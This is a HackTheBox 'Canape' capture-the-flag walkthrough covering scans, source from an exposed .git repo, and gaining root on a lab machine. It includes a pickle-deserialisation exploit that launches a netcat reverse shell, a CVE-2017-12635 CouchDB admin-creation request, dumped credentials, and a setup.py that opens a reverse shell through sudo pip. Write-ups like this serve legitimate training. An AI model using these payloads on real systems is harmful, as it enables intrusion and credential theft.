HackTheBox: Canape
Summary: Canape is a moderate difficulty machine. This machine requires a basic understanding of Python to be able to find the exploitable point in the application.
Skills Required:
- Intermediate knowledge of Linux
- Basic/Intermediate knowledge of Python
Skills Learned:
- Exploiting insecure Python Pickling
- Exploiting Sudo NOPASSWD
- Exploiting Apache CouchDB
Enumeration:
First things first. We are going to run the NMAP scan. 😀
NMAP finds that the webserver with .git on port 80, ssh running on port 65535, and it looks like we’re going to deal with Ubuntu.
[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:24 +06
Nmap scan report for 10.10.10.70
Host is up (0.30s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 155.56 seconds
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -A -p 80,65535 -oA nmap/initial 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:31 +06
Nmap scan report for 10.10.10.70
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Simpsons Fan Site
| http-git:
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 305.64 ms 10.10.14.1
2 305.04 ms 10.10.10.70
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.56 seconds
Web Fuzzing:
This is a simple Fan site.
The submit form is something that we should focus on, but previously We've found a .git path via NMAP scanning and it's exposed a git repository. And if we run the WFUZZ then it will also reveal the same exposed git repo.
wfuzz result:
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hl 0,82 http://10.10.10.70/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.70/FUZZ
Total requests: 4702
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000012: 200 9 L 43 W 1075 Ch ".git/index"
000000011: 200 11 L 29 W 259 Ch ".git/config"
000000010: 200 1 L 2 W 23 Ch ".git/HEAD"
000000013: 200 17 L 70 W 1130 Ch ".git/logs/"
000000008: 301 9 L 28 W 309 Ch ".git"
000001029: 403 11 L 32 W 294 Ch "cgi-bin/"
000001063: 405 4 L 23 W 178 Ch "check"
000003385: 200 85 L 227 W 3150 Ch "quotes"
000003699: 403 11 L 32 W 299 Ch "server-status"
000003940: 301 9 L 28 W 311 Ch "static"
000003984: 200 81 L 167 W 2836 Ch "submit"
Total time: 156.3866
Processed Requests: 4702
Filtered Requests: 4691
Requests/sec.: 30.06650
When there’s an exposed git repo on a website, we can get a full history of the site by using wget!
wget commands:
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wget --mirror -I .git 10.10.10.70/.git
...
...
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #cd 10.10.10.70/
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #git checkout -- .
ada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #ls
__init__.py robots.txt static templates
Source Code Review:
With full access to the source, we see a python flask site. There are two sections that caught my eye, Submit and Check.
source code:
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
Submit
In this code there is an upload section:
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
What's going on here?
- The user submitted ‘char’ only has to contain one of the character names from the whitelist. It doesn’t have to be one of the names.
- The user has no control over the name of the file, but can know the name of the file.
- Nothing is written to the file outside the two user-provided strings concatenated.
- There’s a comment reference to /check and pickle.
Check
Looking down the source, there’s a path for /check:
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
What's going on here?
- cPickle.loads will run the object’s __reduce__ method when it is unpickled. So an attacker can create a class with a __reduce__ function that executes their desired commands, pickle an instance of that class, and pass that string to canape.
www-data Shell:
Exploit:
import os, cPickle, requests
from hashlib import md5
url = "http://10.10.10.70/"
class Exploit(object):
def __reduce__(self):
return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 9001 >/tmp/f',))
quote = cPickle.dumps(Exploit())
char = "(S'homer'\n"
p_id = md5(char + quote).hexdigest()
# Uploading data
upload_data = [('character',char), ('quote',quote)]
requests.post(url +"submit", data=upload_data)
# Triggering Pickle
id_data = [('id',p_id)]
(requests.post(url + "check", data=id_data))
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #python2 exploit.py
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 40786
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("bash")'
www-data@canape:/$
Privilege Escalation: www-data –> homer:
CouchDB + Enumeration:
The page source also showed that the simpsons quotes were stored in a couchdb:
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
The couchdb is only on localhost:www-data@canape:/$ netstat -ano | grep "LISTEN "
netstat -ano | grep "LISTEN "
tcp 0 0 0.0.0.0:36408 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5984 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:4369 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::65535 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::4369 :::* LISTEN off (0.00/0/0)
To interact with couchdb, use curl from the local access. The passwords and _users dbs seem interesting, but neither is accessible. We can list ids in a database at the /[database name]/_all_docs path. To get an individual document, we visit /[database name]/id
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/_all_docs
curl http://127.0.0.1:5984/simpsons/_all_docs
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
1000dd9tp://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
www-data@canape:/$ curl http://127.0.0.1:5984/passwords
curl http://127.0.0.1:5984/passwords
{"error":"unauthorized","reason":"You are not authorized to access this db."}
www-data@canape:/$ curl http://127.0.0.1:5984/_users
curl http://127.0.0.1:5984/_users
{"db_name":"_users","update_seq":"11-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6JnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW6F7GLADeKW85","sizes":{"file":79122,"external":2678,"active":5042},"purge_seq":0,"other":{"data_size":2678},"doc_del_count":1,"doc_count":3,"disk_size":79122,"disk_format_version":6,"data_size":5042,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://127.0.0.1:5984/_users/_all_docs
curl http://127.0.0.1:5984/_users/_all_docs
{"error":"unauthorized","reason":"You are not a server admin."}
Database Privileges Escalation:CVE-2017-12635 is a way for non-authenticated users to get an admin access in couchdb by taking advantage of how Javascript and Erlang json parsers handle duplicate objects.
So, with CVE-2017-12635, to add an admin user, we just need to use an HTTP PUT:
www-data@canape:/$ curl -X PUT -d '{"type":"user","name":"theshahzada","roles":["_admin"],"roles":[],"password":"thes"}' 127.0.0.1:5984/_users/org.couchdb.user:theshahzada -H "Content-Type:application/json"
Because we have a “roles” object in there twice, the CouchDB Javascript validation will only see the second one (empty), but then Erlang json parser will keep both, and let us be an admin.
Enumeration as admin:
Now, we can use the creds for the added admin user to read the rest of the db:
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords
curl http://theshahzada:thes@127.0.0.1:5984/passwords
{"db_name":"passwords","update_seq":"46-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkR2PoiQFIJlkD1bHik-dA0hdPGF1CSB19QTV5bEASYYGIAVUOp8YtQsgavcTo_YARO39rER8AQRR-wCiFuhetiwA7ytvXA","sizes":{"file":222462,"external":665,"active":1740},"purge_seq":0,"other":{"data_size":665},"doc_del_count":0,"doc_count":4,"disk_size":222462,"disk_format_version":6,"data_size":1740,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_docs
csrl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_do
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
df3f7a001bebb8fc4380019e4hes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
df3f7a001bebb8fc43800368dhes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
df3f7a001bebb8fc438003e5fhes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
df3f7a001bebb8fc438004738hes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
SSH as homer:That first password from the couchdb enumeration, "item": "ssh", is promising. We noticed in initial enumeration that SSH was running on port 65535. We try to ssh as the only user on the box, homer, with the password, “0B4jyA0xtytZi7esBNGp”, and it works:
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #ssh -p 65535 homer@10.10.10.70
homer@10.10.10.70's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Dec 14 09:31:52 2021 from 10.10.14.7
homer@canape:~$ cat user.txt
bce918*********288d
Privilege Escalation: homer –> roothomer can run pip with sudo:
homer@canape:~$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
root shell:import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import install
class Exploit(install):
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.7",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh", "-i"])
setup(
cmdclass={
"install": Exploit
}
)
homer@canape:~/theshahzada$ sudo pip install .
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing /home/homer/theshahzada
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ... -
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 47212
# python -c 'import pty;pty.spawn("bash")'
root@canape:/tmp/pip-GiMdT7-build# id
id
uid=0(root) gid=0(root) groups=0(root)
HTB Profile: https://app.hackthebox.com/profile/37502
Reference:
- I've taken some notes from the official writeup, 0xdf writeup and ippsec's video
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913
- https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/